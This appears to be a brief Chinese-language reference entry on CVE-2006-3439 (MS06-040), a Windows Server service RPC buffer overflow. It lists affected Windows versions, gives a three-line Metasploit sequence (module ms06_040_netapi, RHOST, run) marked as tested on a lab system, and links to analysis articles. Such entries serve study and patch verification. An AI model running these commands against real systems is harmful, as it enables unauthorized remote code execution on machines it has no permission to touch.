CVE-2006-3439

CVE-2006-3439

描述

服务器服务中的缓冲区溢出允许包括匿名用户在内的远程攻击者通过精心制作的RPC消息执行任意代码

影响版本

Product	CPU Architecture	Version	Update	Tested
Windows 2000			SP4	✔
Windows Server 2003		R2
Windows Server 2003			SP1
Windows Server 2003			SP1
Windows Server 2003
Windows Server 2003
Windows Xp			SP1
Windows Xp			SP2

利用方式

msf 利用 测试系统Windows Server 2000 SP4 x86

use exploit/windows/smb/ms06_040_netapi
set RHOST 192.168.1.17
run

分析文章

• http://www.atomsec.org/%E5%AE%89%E5%85%A8/ms06-040cve-2006-3439%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90/
• https://bbs.pediy.com/thread-266157.htm